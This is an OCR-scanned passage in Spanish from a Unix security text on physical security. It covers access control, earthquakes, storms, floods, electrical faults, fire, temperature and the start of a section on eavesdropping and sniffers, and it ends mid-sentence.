Segiin [B + 88], la seguridad fisica de los sistemas informaticos consiste en la aplicacion de barreras 
fisicas y procedimientos de control como medidas de prevencion y contramedidas contra las amena- 
zas a los recursos y la informacion confidencial. Mas claramente, y particularizando para el caso 
de equipos Unix y sus centres de operation, por ‘seguridad fisica’ podemos entender todas aquellas 
mecanismos - generalmente de prevencion y deteccion - destinados a proteger fisicamente cualquier 
recurso del sistema; estos recursos son desde un simple teclado hasta una cinta de backup con toda 
la informacion que hay en el sistema, pasando por la propia CPU de la maquina. 

Desgraciadamente, la seguridad fisica es un aspecto olvidado con demasiada frecuencia a la hora de 
hablar de seguridad informatica en general; en muchas organizaciones se suelen tomar medidas para 
prevenir o cletectar accesos no autorizados o negaciones de servicio, pero rara vez para prevenir la 
action de un atacante que intenta acceder fisicamente a la sala de operaciones o al lugar donde se 
depositan las impresiones del sistema. Esto motiva que en cleterminadas situaciones un atacante 
se decline por aprovechar vulnerabiliclades fisicas en lugar de logicas, ya que posiblemente le sea 
mas facil robar una cinta con una imagen completa del sistema que intentar acceder a el mediante 
fallos en el software. Hemos de ser conscientes de que la seguridad fisica es clemasiado importante 
como para ignorarla: un ladron que roba un ordenador para venderlo, un incendio o un pirata que 
accede sin problemas a la sala de operaciones nos pueden hacer mucho mas daho que un intruso 
que intenta conectar remotamente con una maquina no autorizada; no importa que utilicemos los 
mas avanzados medios de cifrado para conectar a nuestros servidores, ni que hayamos definido una 
politica de firewalling muy restrictiva: si no tenemos en cuenta factores fisicos, estos esfuerzos para 
proteger nuestra informacion no van a servir de nada. Ademas, en el caso de organismos con reque- 
rimientos de seguridad medios, unas medidas de seguridad fisicas ejercen un efecto disuasorio sobre 
la mayoria de piratas: como casi todos los atacantes de los equipos de estos entornos son casuales 
(esto es, no tienen interes especifico sobre nuestros equipos, sino sobre cualquier equipo), si notan a 
traves de medidas fisicas que nuestra organization esta preocupada por la seguridad probablemente 
abandonaran el ataque para lanzarlo contra otra red menos protegida. 

Aunque como ya dijimos en la introduction este proyecto no puede centrarse en el diseho de edifi- 
cios resistentes a un terremoto o en la instalacion de alarmas electronicas, si que se van a intentar 
comentar ciertas medidas de prevencion y deteccion que se han de tener en cuenta a la hora de 
definir mecanismos y politicas para la seguridad de nuestros equipos. Pero hemos de recordar que 
cada sitio es diferente, y por tanto tambien lo son sus necesidades de seguridad; de esta forma, no se 
pueden dar recomendaciones especificas sino pautas generales a tener en cuenta, que pueden variar 
desde el simple sentido comun (como es el cerrar con Have la sala de operaciones cuando salimos 
de ella) hasta medidas mucho mas complejas, como la prevencion de radiaciones electromagneticas 
de los equipos o la utilization de degaussers. En entornos habituates suele ser suficiente con un 
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poco cle sentido comun para conseguir una minima seguridad ffsica; de cualquier forma, en cada 
institucion se ha de analizar el valor de lo que se quiere proteger y la probabilidad de las amenazas 
potenciales, para en funcion de los resultados obtenidos disehar un plan de seguridad adecuado. 
Por ejemplo, en una empresa ubicada en Valencia quizas parezca absurdo hablar de la prevencion 
ante terremotos (por ser esta un area de bajo riesgo), pero no sucedera lo mismo en una universidad 
situada en una zona sfsmicamente activa; de la misma forma, en entornos de I+D es absurdo hablar 
de la prevencion ante un ataque nuclear, pero en sistemas militares esta amenaza se ha de tener en 
cuenta 1 . 


2.2 Protection del hardware 

El hardware es frecuentemente el elemento mas caro de todo sistema informatico 2 . Por tanto, las 
medidas encaminadas a asegurar su integridad son una parte importante de la seguridad fisica de 
cualquier organizacion, especialmente en las dedicadas a I+D: universidades, centros de investiga- 
cion, institutos tecnologicos. . . suelen poseer entre sus equipos maquinas muy caras, desde servidores 
con una gran potencia de calculo hasta routers de ultima tecnologia, pasando por modernos siste- 
mas de transmision de clatos como la hbra optica. 

Son muchas las amenazas al hardware de una instalacion informatica; aqui se van a presentar 
algunas de ellas, sus posibles efectos y algunas soluciones, si no para evitar los problemas si al 
menos para minimizar sus efectos. 


2.2.1 Acceso fisico 

La posibilidad de acceder fisicamente a una maquina Unix - en general, a cualquier sistema ope- 
rative - hace inutiles casi todas las medidas de seguridad que hayamos aplicado sobre ella: hemos 
de pensar que si un atacante puede llegar con total libertad hasta una estacion puede por ejemplo 
abrir la CPU y llevarse un disco duro; sin necesidad de privilegios en el sistema, sin importar la 
robustez de nuestros cortafuegos, sin nisiquiera una clave de usuario, el atacante podra seguramente 
modificar la informacion almacenada, destruirla o simplemente leerla. Incluso sin llegar al extremo 
de desmontar la maquina, que quizas resulte algo exagerado en entornos clasicos clonde hay cierta 
vigilancia, como un laboratorio o una sala de informatica, la persona que accede al equipo puede 
pararlo o arrancar una version diferente del sistema operativo sin llamar mucho la atencion. Si por 
ejemplo alguien accede a un laboratorio con maquinas Linux, seguramente le resultara facil utilizar 
un disco de arranque, montar los discos duros de la maquina y extraer de ellos la informacion de- 
seada; incluso es posible que utilice un ramdisk con ciertas utilidades que constituyan una amenaza 
para otros equipos, como nukes o sniffers. 

Visto esto, parece claro que cierta seguridad fisica es necesaria para garantizar la seguridad global 
de la red y los sistemas conectados a ella; evidentemente el nivel de seguridad fisica depende comple- 
tamente del entorno donde se ubiquen los puntos a proteger (no es necesario hablar solo de equipos 
Unix, sino de cualquier elemento fisico que se pueda utilizar para amenazar la seguridad, como 
una toma de red apartada en cualquier rincon de un edificio de nuestra organizacion). Mientras 
que parte de los equipos estaran bien protegidos, por ejemplo los servidores de un departamento 
o las maquinas de los despachos, otros muchos estaran en lugares de acceso semipublico, como 
laboratories de practicas; es justamente sobre estos ultimos sobre los que debemos extremar las 
precauciones, ya que lo mas facil y discreto para un atacante es acceder a uno de estos equipos y, 
en segundos, lanzar un ataque completo sobre la red. 


1 Al menos en teona, ya que nadie sabe con certeza lo que sucede en organismos de defensa, excepto ellos mismos. 

2 Como dijimos, el mas caro, pero no el mas diffcil de recuperar. 
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^Como prevenir un acceso ffsico no autorizado a un determinado punto? Hay soluciones para to- 
dos los gustos, y tambien de todos los precios: desde analizadores de retina hasta videocamaras, 
pasando por tarjetas inteligentes o control de las Haves que abren determinada puerta. Todos los 
modelos de autenticacion de usuarios (capftulo 8) son aplicables, aparte de para controlar el acceso 
logico a los sistemas, para controlar el acceso ffsico; de todos ellos, quizas los mas adecuados a la 
seguridad ffsica sean los biometricos y los basados en algo posefdo; aunque como comentaremos 
mas tarde suelen resultar algo caros para utilizarlos masivamente en entornos de seguridad media. 

Pero no hay que irse a sistemas tan complejos para prevenir accesos ffsicos no autorizados; normas 
tan elementales como cerrar las puertas con Have al salir de un laboratorio o un despacho o bloquear 
las tomas de red que no se suelan utilizar y que esten situadas en lugares apartados son en ocasiones 
mas que suficientes para prevenir ataques. Tambien basta el sentido comun para darse cuenta de 
que el cableado de red es un elemento importante para la seguridad, por lo que es recomenda- 
ble apartarlo del acceso directo; por desgracia, en muchas organizaciones podemos ver excelentes 
ejemplos de lo que no hay que hacer en este sentido: cualquiera que pasee por entornos mas o 
menos amplios (el campus de una universidad, por ejemplo) seguramente podra ver - o pinchar, o 
cortar. . . - cables descolgados al alcance de todo el mundo, especialmente durante el verano, epoca 
que se suele aprovechar para hacer obras. 

Todos hemos visto pelfculas en las que se mostraba un estricto control de acceso a instalacio- 
nes militares mediante tarjetas inteligentes, analizadores de retina o verificadores de la geometrfa 
de la mano; aunque algunos de estos metodos aun suenen a ciencia fiction y sean demasiado caros 
para la mayor parte de entornos (recordemos que si el sistema de protection es mas caro que lo que 
se quiere proteger tenemos un grave error en nuestros planes de seguridad), otros se pueden aplicar, 
y se aplican, en muchas organizaciones. Concretamente, el uso de lectores de tarjetas para poder 
acceder a ciertas dependencias es algo muy a la orden del dfa; la idea es sencilla: alguien pasa una 
tarjeta por el lector, que conecta con un sistema - por ejemplo un ordenador - en el que existe una 
base de datos con information de los usuarios y los recintos a los que se le permite el acceso. Si la 
tarjeta pertenece a un usuario capacitado para abrir la puerta, esta se abre, y en caso contrario se 
registra el intento y se niega el acceso. Aunque este metodo quizas resulte algo caro para extenderlo 
a todos y cada uno de los puntos a proteger en una organization, no serfa tan descabellado instalar 
pequenos lectores de codigos de barras conectados a una maquina Linux en las puertas de muchas 
areas, especialmente en las que se maneja information mas o menos sensible. Estos lectores poclrfan 
leer una tarjeta que todos los miembros de la organization poseerfan, conectar con la base de datos 
de usuarios, y autorizar o denegar la apertura de la puerta. Se tratarfa de un sistema sencillo 
de implementar, no muy caro, y que cubre de sobra las necesidades de seguridad en la mayorfa 
de entornos: incluso se podrfa abaratar si en lugar de utilizar un mecanismo para abrir y cerrar 
puertas el sistema se limitara a informar al administrador del area o a un guardia de seguridad 
mediante un mensaje en pantalla o una luz encendida: de esta forma los unicos gastos serfan los 
correspondientes a los lectores de codigos de barras, ya que como equipo con la base de datos se 
puede utilizar una maquina vieja o un servidor de proposito general. 

Deteccion 

Cuando la prevencion es diffcil por cualquier motivo (tecnico, economico, humano. . . ) es deseable 
que un potencial ataque sea detectado cuanto antes, para minimizar asf sus efectos. Aunque en la 
deteccion de problemas, generalmente accesos ffsicos no autorizados, intervienen medios tecnicos, 
como camaras de vigilancia de circuito cerrado o alarmas, en entornos mas normales el esfuerzo 
en detectar estas amenazas se ha de centrar en las personas que utilizan los sistemas y en las 
que sin utilizarlos estan relacionadas de cierta forma con ellos; sucede lo mismo que con la segu- 
ridad logica: se ha de ver toda la protection como una cadena que falla si falla su eslabon mas debil. 

Es importante concienciar a todos de su papel en la polftica de seguridad del entorno; si por 
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ejemplo un usuario autorizado detecta presencia de alguien de quien sospecha que no tiene autori- 
zacion para estar en una determinada estancia clebe avisar inmedi at ament e al administrador o al 
responsable de los equipos, que a su vez puede avisar al servicio de seguridad si es necesario. No 
obstante, utilizar este servicio debe ser solamente un ultimo recurso: generalmente en la mayoria 
de entornos no estamos tratando con terroristas, sino por fortuna con elementos mucho menos 
peligrosos. Si cada vez que se sospecha de alguien se avisa al servicio de seguridad esto puede 
repercutir en el ambiente de trabajo de los usuarios autorizados estableciendo cierta presion que 
no es en absolute recomendable; un simple ‘^puedo ayudarte en algo?’ suele ser mas efectivo que 
un guardia solicitando una identification formal. Esto es especialmente recomendable en lugares 
de acceso restringido, como laboratories de investigation o centres de calculo, donde los usuarios 
habituales suelen conocerse entre ellos y es facil detectar personas ajenas al entorno. 

2.2.2 Desastres naturales 

En el anterior punto hemos hecho referencia a accesos fisicos no autorizados a zonas o a elementos 
que pueden comprometer la seguridad de los equipos o de toda la red; sin embargo, no son estas las 
unicas amenazas relacionadas con la seguridad fisica. Un problema que no suele ser tan habitual, 
pero que en caso de producirse puede acarrear gravisimas consecuencias, es el derivado de los 
desastres naturales y su (falta de) prevention. 

Terremotos 

Los terremotos son el desastre natural menos probable en la mayoria de organismos ubicados en 
Espaiia, simplemente por su localization geografica: no nos encontramos en una zona donde se 
suelan producir temblores de intensidad considerable; incluso en zonas del sur de Espaiia, como 
Almeria, donde la probabilidad de un temblor es mas elevada, los terremotos no suelen alcanzan la 
magnitud necesaria para causar clahos en los equipos. Por tanto, no se suelen tomar medidas serias 
contra los movimientos sismicos, ya que la probabilidad de que sucedan es tan baja que no merece 
la pena invertir clinero para minimizar sus efectos. 

De cualquier forma, aunque algunas medidas contra terremotos son excesivamente caras para la 
mayor parte de organizations en Espaiia (evidentemente serian igual de caras en zonas como Los 
Angeles, pero alii el coste estaria justificado por la alta probabilidad de que se produzcan movimien- 
tos de magnitud considerable), no cuesta nada tomar ciertas medidas de prevention; por ejemplo, 
es muy recomendable no situar nunca equipos delicados en superficies muy elevadas (aunque tam- 
poco es bueno situarlos a ras de suelo, como veremos al hablar de inundaciones) . Si lo hacemos, 
un pequeho temblor puede tirar desde una altura considerable un complejo hardware , lo que con 
toda probabilidad lo inutilizara; puede incluso ser conveniente (y barato) utilizar hjaciones para los 
elementos mas criticos, como las CPUs, los monitores o los routers. De la misma forma, tampoco 
es recomendable situar objetos pesados en superficies altas cercanas a los equipos, ya que si lo que 
cae son esos objetos tambien danaran el hardware. 

Para evitar males mayores ante un terremoto, tambien es muy importante no situar equipos cerca 
de las ventanas: si se produce un temblor pueden caer por ellas, y en ese caso la perdida de datos o 
hardware pierde importancia frente a los posibles accidentes - incluso mortales - que puede causar 
una pieza voluminosa a las personas a las que les cae encima. Aclemas, situando los equipos alejados 
de las ventanas estamos dificultando las acciones de un potential ladron que se descuelgue por la 
fachada hasta las ventanas, ya que si el equipo estuviera cerca no tendrfa mas que alargar el brazo 
para llevarselo. 

Quizas hablar de terremotos en un trabajo cledicado a sistemas ‘normales’ especialmente centrando- 
nos en lugares con escasa actividad sismica - como es Espaiia y mas concretamente la Comunidad 
Valenciana - pueda resultar incluso gracioso, o cuanto menos exagerado. No obstante, no debemos 
entender por terremotos unicamente a los grandes desastres que derrumban edificios y destrozan 
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vfas de comunicacion; quizas serfa mas apropiado hablar incluso de vibraciones, desde las mas 
grandes (los terremotos) hasta las mas pequenas (un simple motor cercano a los equipos). Las vi- 
braciones, incluso las mas imperceptibles, pueden danar seriamente cualquier elemento electronico 
de nuestras maquinas, especialmente si se trata de vibraciones continuas: los primeros efectos pue- 
den ser problemas con los cabezales de los discos duros o con los circuitos integrados que se danan 
en las placas. Para hacer frente a pequenas vibraciones podemos utilizar plataformas de goma 
donde situar a los equipos, de forma que la plataforma absorba la mayor parte de los movimientos; 
incluso sin llegar a esto, una regia comun es evitar que entren en contacto equipos que poseen una 
electronica delicada con hardware mas mecanico, como las impresoras: estos dispositivos no paran 
de generar vibraciones cuando estan en funcionamiento, por lo que situar una pequena impresora 
encima de la CPU de una maquina es una idea nefasta. Como dicen algunos expertos en seguridad 
([GS96]), el espacio en la sala de operaciones es un problema sin importancia comparado con las 
consecuencias de fallos en un disco cluro o en la placa base de un ordenador. 

Tormentas electricas 

Las tormentas con aparato electrico, especialmente frecuentes en verano (cuando mucho personal 
se encuentra de vacaciones, lo que las hace mas peligrosas) generan subidas subitas de tension in- 
finitamente superiores a las que pueda generar un problema en la red electrica, como veremos a 
continuation. Si cae un rayo sobre la estructura metalica del edificio donde estan situados nues- 
tros equipos es casi seguro que podemos ir pensando en comprar otros nuevos; sin llegar a ser tan 
clramaticos, la caida de un rayo en un lugar cercano puede inducir un campo magnetico lo suficien- 
temente intenso como para destruir hardware incluso protegido contra voltajes elevados. 

Sin embargo, las tormentas poseen un lado positivo: son predecibles con mas o menos exacti- 
tud, lo que permite a un administrador parar sus maquinas y desconectarlas de la lfnea electrica 3 . 
Entonces, ^cual es el problema? Aparte de las propias tormentas, el problema son los responsables 
de los equipos: la caida de un rayo es algo poco probable - pero no imposible - en una gran ciudad 
donde existen artilugios destinados justamente a atraer rayos de una forma controlada; tanto es asi 
que mucha gente ni siquiera ha visto caer cerca un rayo, por lo que directamente tiende a asumir 
que eso no le va a suceder nunca, y menos a sus equipos. Por tanto, muy pocos administradores 
se molestan en parar maquinas y desconectarlas ante una tormenta; si el fenomeno sucede durante 
las horas de trabajo y la tormenta es fuerte, quizas si que lo hace, pero si sucede un sabado por la 
noche nadie va a ir a la sala de operaciones a proteger a los equipos, y nadie antes se habra tornado 
la molestia de protegerlos por una simple prevision meteorologica. Si a esto anadimos lo que antes 
hemos comentado, que las tormentas se producen con mas frecuencia en pleno verano, cuando casi 
toda la plantilla esta de vacaciones y solo hay un par de personas de guardia, tenemos el caldo de 
cultivo ideal para que una amenaza que a priori no es muy grave se convierta en el final de algunos 
de nuestros equipos. Conclusion: todos hemos de tomar mas en serio a la Naturaleza cuando nos 
avisa con un par de truenos. . . 

Otra medida de protection contra las tormentas electricas hace referenda a la ubicacion de los 
medios magneticos, especialmente las copias de seguridad; aunque hablaremos con mas cletalle de 
la protection de los backups en el punto 2.3.2, de momento podemos adelantar que se han de al- 
macenar lo mas alejados posible de la estructura metalica de los edificios. Un rayo en el propio 
edificio, o en un lugar cercano, puede inducir un campo electromagnetico lo suficientemente grande 
como para borrar de golpe todas nuestras cintas o discos, lo que ahade a los problemas por dahos 
en el hardware la perdida de toda la information de nuestros sistemas. 

Inundaciones y humedad 

Cierto grado de humedad es necesario para un correcto funcionamiento de nuestras maquinas: en 
ambientes extremadamente secos el nivel de electricidad estatica es elevado, lo que, como veremos 

3 A1 contrario de lo que mucha gente piensa, no basta solo con apagar un sistema para que se encuentre a salvo. 
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mas tarde, puede transformar un pequeno contacto entre una persona y un circuito, o entre dife- 
rentes componentes de una maquina, en un dano irreparable al hardware y a la informacion. No 
obstante, niveles de humedad elevados son perjudiciales para los equipos porque pueden producir 
condensation en los circuitos integrados, lo que origina cortocircuitos que evidentemente tienen 
efectos negativos sobre cualquier elemento electronico de una maquina. 

Controlar el nivel de humedad en los entornos habituales es algo innecesario, ya que por nor- 
ma nadie ubica estaciones en los lugares mas humedos o que presenten situaciones extremas; no 
obstante, ciertos equipos son especialmente sensibles a la humedad, por lo que es conveniente con- 
sultar los manuales de todos aquellos de los que tengamos dudas. Quizas sea necesario utilizar 
alarmas que se activan al detectar condiciones de muy poca o demasiada humedad, especialmente 
en sistemas de alta disponibilidad o de altas prestaciones, clonde un fallo en un componente puede 
ser crucial. 

Cuando ya no se habla de una humedad mas o menos elevada sino de completas inundaciones, 
los problemas generados son mucho mayores. Casi cualquier medio (una maquina, una cinta, un 
router . . . ) que entre en contacto con el agua queda automaticamente inutilizado, bien por el propio 
liquido o bien por los cortocircuitos que genera en los sistemas electronicos. 

Evidentemente, contra las inundaciones las medidas mas efectivas son las de prevention (frente 
a las de detection); podemos utilizar detectores de agua en los suelos o falsos suelos de las salas 
de operaciones, y apagar automaticamente los sistemas en caso de que se activen. Tras apagar los 
sistemas podemos tener tambien instalado un sistema automatico que corte la corriente: algo muy 
comiin es intentar sacar los equipos - previamente apagados o no de una sala que se esta empe- 
zando a inundar; esto, que a primera vista parece lo logico, es el mayor error que se puede cometer 
si no hemos desconectado completamente el sistema electrico, ya que la mezcla de corriente y agua 
puede causar incluso la muerte a quien intente salvar equipos. Por muy caro que sea el hardware 
o por muy valiosa que sea la informacion a proteger, nunca seran magnitudes comparables a lo 
que supone la perdida de vidas humanas. Otro error comiin relacionado con los detectores de agua 
es situar a los mismos a un nivel superior que a los propios equipos a salvaguardar (jincluso en 
el techo, junto a los detectores de humo!); evidentemente, cuando en estos casos el agua llega al 
detector poco se puede hacer ya por las maquinas o la informacion que contienen. 

Medidas de protection menos sofisticadas pueden ser la instalacion de un falso suelo por enci- 
ma del suelo real, o simplemente tener la precaution de situar a los equipos con una cierta elevation 
respecto al suelo, pero sin llegar a situarlos muy altos por los problemas que ya hemos comentado 
al hablar de terremotos y vibraciones. 


2.2.3 Desastres del entorno 

Elect ricidad 

Quizas los problemas derivados del entorno de trabajo mas frecuentes son los relacionados con el 
sistema electrico que alimenta nuestros equipos; cortocircuitos, picos de tension, cortes de flujo. . . a 
diario amenazan la integridad tanto de nuestro hardware como de los datos que almacena o que 
circulan por el. 

El problema menos comiin en las instalaciones modernas son las subidas de tension, conocidas 
como ‘picos’ porque generalmente duran muy poco: durante unas fracciones de segundo el voltaje 
que recibe un equipo sube hasta sobrepasar el limite aceptable que dicho equipo soporta. Lo normal 
es que estos picos apenas afecten al hardware o a los datos gracias a que en la mayoria de equipos 
hay instalados fusibles, elementos que se funden ante una subida de tension y dejan de conducir la 
corriente, provocando que la maquina permanezca apagada. Disponga o no de fusibles el equipo a 
proteger (lo normal es que sf los tenga) una medida efectiva y barata es utilizar tomas de tierra para 
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asegurar aun mas la integridad; estos mecanismos evitan los problemas de sobretension desviando 
el exceso de corriente hacia el suelo de una sala o edificio, o simplemente hacia cualquier lugar con 
voltaje nulo. Una toma de tierra sencilla puede consistir en un buen conductor conectado a los 
chasis de los equipos a proteger y a una barra maciza, tambien conductora, que se introduce lo mas 
posible en el suelo; el coste de la instalacion es pequeno, especialmente si lo comparamos con las 
perdidas que supondria un incendio que afecte a todos o a una parte de nuestros equipos. 

Incluso teniendo un sistema protegido con los metodos anteriores, si la subida de tension dura 
demasiado, o si es demasiado rapida, podemos sufrir daiios en los equipos; existen acondicionadores 
de tension comerciales que protegen de los picos hasta en los casos mas extremos, y que tambien se 
utilizan como filtros para ruido electrico. Aunque en la mayoria de situaciones no es necesario su 
uso, si nuestra organization tiene problemas por el voltaje excesivo quizas sea conveniente instalar 
alguno de estos aparatos. 

Un problema que los estabilizadores de tension o las tomas de tierra no pueden solucionar es 
justamente el contrario a las subidas de tension: las bajadas, situaciones en las que la corriente 
desciende por debajo del voltaje necesario para un correcto funcionamiento del sistema, pero sin 
llegar a ser lo suficientemente bajo para que la maquina se apague ([SBL90]). En estas situaciones 
la maquina se va a comportar de forma extraha e incorrecta, por ejemplo no aceptando algunas 
instrucciones, no completando escrituras en disco o memoria, etc. Es una situation similar a la de 
una bombilla que pierde intensidad momentaneamente por falta de corriente, pero trasladada a un 
sistema que en ese pequeno intervalo ejecuta miles o millones de instrucciones y transferencias de 
datos. 

Otro problema, muchisimo mas habituales que los anteriores en redes electricas modernas, son 
los cortes en el fluido electrico que llega a nuestros equipos. Aunque un simple corte de corriente 
no suele afectar al hardware, lo mas peligroso (y que sucede en muchas ocasiones) son las idas y 
venidas rapidas de la corriente; en esta situation, aparte de perder datos, nuestras maquinas pueden 
sufrir danos. 

La forma mas efectiva de proteger nuestros equipos contra estos problemas de la corriente electrica 
es utilizar una SAI (Servicio de Alimentation Ininterrumpido) conectada al elemento que quere- 
mos proteger. Estos dispositivos mantienen un flujo de corriente correcto y estable de corriente, 
protegiendo asi los equipos de subidas, cortes y bajadas de tension; tienen capacidad para seguir 
alimentando las maquinas incluso en caso de que no reciban electricidad (evidentemente no las 
alimentan de forma indefinida, sino durante un cierto tiempo - el necesario para detener el sistema 
de forma ordenada). Por tanto, en caso de fallo de la corriente el SAI informara a la maquina Unix, 
que a traves de un programa como /sbin/powerd recibe la information y decide cuanto tiempo de 
corriente le queda para poder pararse correct amente; si de nuevo vuelve el flujo la SAI vuelve a 
informar de este evento y el sistema desprograma su parada. Asf de simple: por poco mas de diez 
mil pesetas podemos obtener una SAI pequena, mas que suficiente para muchos servidores, que nos 
va a librar de la mayoria de los problemas relacionados con la red electrica. 

Un ultimo problema contra el que ni siquiera las SAIs nos protegen es la corriente estatica, un 
fenomeno extrano del que la mayoria de gente piensa que no afecta a los equipos, solo a otras 
personas. Nada mas lejos de la realidad: simplemente tocar con la mano la parte metalica de te- 
clado o un conductor de una placa puede destruir un equipo completamente. Se trata de corriente 
de muy poca intensidad pero un altisimo voltaje, por lo que aunque la persona no sufra ningun 
dano - solo un pequeno calambrazo - el ordenador sufre una descarga que puede ser suficiente para 
destrozar todos sus componentes, desde el disco duro hasta la memoria RAM. Contra el problema 
de la corriente estatica existen muchas y muy baratas soluciones: spray antiestatico, ionizadores 
antiestaticos. . . No obstante en la mayoria de situaciones solo hace falta un poco de sentido comun 
del usuario para evitar accidentes: no tocar directamente ninguna parte metalica, protegerse si 
debe hacer operaciones con el hardware, no mantener el entorno excesivamente seco. . . 
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Ruido electrico 

Dentro del apartado anterior podriamos haber hablado del ruido electrico como un problema mas 
relacionado con la electricidad; sin embargo este problema no es una incidencia directa de la co- 
rriente en nuestros equipos, sino una incidencia relacionada con la corriente de otras maquinas que 
pueden afectar al funcionamiento de la nuestra. El ruido electrico suele ser generado por motores o 
por maquinaria pesada, pero tambien puede serlo por otros ordenadores o por multitud de aparatos, 
especialmente muchos de los instalados en los laboratories de organizaciones de I+D, y se transmite 
a traves del espacio o de lineas electricas cercanas a nuestra instalacion. 

Para prevenir los problemas que el ruido electrico puede causar en nuestros equipos lo mas ba- 
rato es intentar no situar hardware cercano a la maquinaria que puede causar dicho ruido; si no 
tenemos mas remedio que hacerlo, podemos instalar filtros en las lineas de alimentacion que llegan 
hasta los ordenadores. Tambien es recomendable mantener alejados de los equipos dispositivos emi- 
sores de ondas, como telefonos moviles, transmisores de radio o walkie-talkies ; estos elementos puede 
incluso danar permanentemente a nuestro hardware si tienen la suficiente potencia de transmision, 
o influir directamente en elementos que pueden daiiarlo como detectores de incendios o cierto tipo 
de alarmas. 

Incendios y humo 

Una causa casi siempre relacionada con la electricidad son los incendios, y con ellos el humo; aunque 
la causa de un fuego puede ser un desastre natural, lo habitual en muchos entornos es que el mayor 
peligro de incendio provenga de problemas electricos por la sobrecarga de la red clebido al gran 
numero de aparatos conectados al tendido. Un simple cortocircuito o un equipo que se calienta 
demasiado pueden convertirse en la causa directa de un incendio en el edificio, o al menos en la 
planta, donde se encuentran invertidos millones de pesetas en equipamiento. 

Un metodo efectivo contra los incendios son los extintores situados en el techo, que se activan 
automaticamente al detectar humo o calor. Algunos de ellos, los mas antiguos, utilizaban agua 
para apagar las llamas, lo que provocaba que el hardware no llegara a sufrir los efectos del fuego 
si los extintores se activaban correctamente, pero que quedara clestrozado por el agua expulsada. 
Visto este problema, a mitad de los ochenta se comenzaron a utilizar extintores de halon; este 
compuesto no conduce electricidad ni deja residuos, por lo que resulta ideal para no clahar los 
equipos. Sin embargo, tambien el halon presentaba problemas: por un lado, resulta excesivamente 
contaminante para la atmosfera, y por otro puede axfisiar a las personas a la vez que acaba con el 
fuego. Por eso se han sustituido los extintores de halon (aunque se siguen utilizando mucho hoy en 
dia) por extintores de dioxido de carbono, menos contaminante y menos perjudicial. De cualquier 
forma, al igual que el halon el dioxido de carbono no es precisamente sano para los humanos, por 
lo que antes de activar el extintor es conveniente que todo el mundo abandone la sala; si se trata de 
sistemas de activation automatica suelen avisar antes de expulsar su compuesto mediante un pitido. 

Aparte del fuego y el calor generado, en un incendio existe un tercer elemento perjudicial para 
los equipos: el humo, un potente abrasivo que ataca especialmente los discos magneticos y opticos. 
Quizas ante un incendio el dano provocado por el humo sea insignificante en comparacion con el 
causado por el fuego y el calor, pero hemos de recordar que puede existir humo sin necesidad de que 
haya un fuego: por ejemplo, en salas de operaciones donde se fuma. Aunque muchos no apliquemos 
esta regia y fumemos demasiado - siempre es demasiado - delante de nuestros equipos, seria con- 
veniente no permitir esto; aparte de la suciedad generada que se deposita en todas las partes de un 
orclenador, desde el teclado hasta el monitor, generalmente todos tenemos el cenicero cerca de los 
equipos, por lo que el humo afecta directamente a todos los componentes; incluso al ser algo mas 
habitual que un incendio, se puede considerar mas perjudicial - para los equipos y las personas - 
el humo del tabaco que el de un fuego. 

En muchos manuales de seguridad se insta a los usuarios, administradores, o al personal en ge- 
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neral a intentar controlar el fuego y salvar el equipamiento; esto tiene, como casi todo, sus pros y 
sus contras. Evidentemente, algo logico cuando estamos ante un incendio de pequenas dimensiones 
es intentar utilizar un extintor para apagarlo, de forma que lo que podrfa haber sido una catastrofe 
sea un simple susto o un pequeno accidente. Sin embargo, cuando las dimensiones de las llamas son 
considerables lo ultimo que debemos hacer es intentar controlar el fuego nosotros mismos, arries- 
gando vidas para salvar hardware ; como sucedia en el caso de inundaciones, no importa el precio 
de nuestros equipos o el valor de nuestra information: nunca seran tan importantes como una vida 
humana. Lo mas recomendable en estos casos es evacuar el lugar del incendio y dejar su control en 
manos de personal especializado. 

Temperaturas extremas 

No hace falta ser un genio para comprender que las temperaturas extremas, ya sea un calor excesi- 
vo o un frio intenso, perjudican gravemente a todos los equipos. Es recomendable que los equipos 
operen entre 10 y 32 grados Celsius ([GS96]), aunque pequenas variaciones en este rango tampoco 
han de influir en la mayorfa de sistemas. 

Para controlar la temperatura ambiente en el entorno de operaciones nada mejor que un acondicio- 
nador de aire, aparato que tambien influira positivamente en el rendimiento de los usuarios (las per- 
sonas tambien tenemos rangos de temperaturas dentro de los cuales trabajamos mas comodamente) . 
Otra condition basica para el correcto funcionamiento de cualquier equipo que este se encuentre 
correctamente ventilado, sin elementos que obstruyan los ventiladores de la CPU. La organization 
ffsica del computador tambien es clecisiva para evitar sobrecalentamientos: si los discos duros, ele- 
mentos que pueden alcanzar temperaturas considerables, se encuentran excesivamente cerca de la 
memoria RAM, es muy probable que los modulos acaben quemandose. 


2.3 Protection de los datos 

La seguridad ffsica tambien implica una protection a la information de nuestro sistema, tanto a 
la que esta almacenada en el como a la que se transmite entre diferentes equipos. Aunque los 
apartados comentados en la anterior section son aplicables a la protection ffsica de los datos (ya 
que no olvidemos que si protegemos el hardware tambien protegemos la information que se almacena 
o se transmite por el), hay ciertos aspectos a tener en cuenta a la hora de disenar una polftica de 
seguridad ffsica que afectan principalmente, aparte de a los elementos ffsicos, a los datos de nuestra 
organization; existen ataques cuyo objetivo no es destruir el medio ffsico de nuestro sistema, sino 
simplemente conseguir la informacion almacenada en dicho medio. 

2.3.1 Eavesdropping 

La interceptacion o eavesdropping, tambien conocida por passive wiretapping ([CES91]) es un pro- 
ceso mediante el cual un agente capta informacion - en claro o cifrada - que no le iba dirigida; esta 
captation puede realizarse por muchfsimos medios (por ejemplo, capturando las radiaciones elec- 
tromagneticas, como veremos luego). Aunque es en principio un ataque completamente pasivo, lo 
mas peligroso del eavesdropping es que es muy diffcil de detectar mientras que se produce, de forma 
que un atacante puede capturar informacion privilegiada y claves para acceder a mas informacion 
sin que nadie se de cuenta hasta que dicho atacante utiliza la informacion capturada, convirtiendo 
el ataque en activo. 

Un medio de interceptacion bastante habitual es el sniffing, consistente en capturar tramas que 
circulan por la red mediante un programa ejecutandose en una maquina conectada a ella o bien 
mediante un dispositivo que se engancha directamente el cableado 4 . Estos dispositivos, denomina- 
dos sniffers de alta impedancia, se conectan en paralelo con el cable de forma que la impedancia 

4 En este caso tambien se suele llamar a esta actividad wiretapping. 
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total del cable y el aparato es similar a la del cable solo, lo que hace dificil su detection. Contra 
estos ataques existen diversas soluciones; la mas barata a nivel fisico es no permitir la existencia 
de segmentos cle red cle facil acceso, lugares idoneos para que un atacante conecte uno cle estos 
aparatos y capture todo nuestro trafico. No obstante esto resulta dificil en redes ya instaladas, 
donde no podemos modificar su arquitectura; en estos existe una solucion generalmente gratuita 
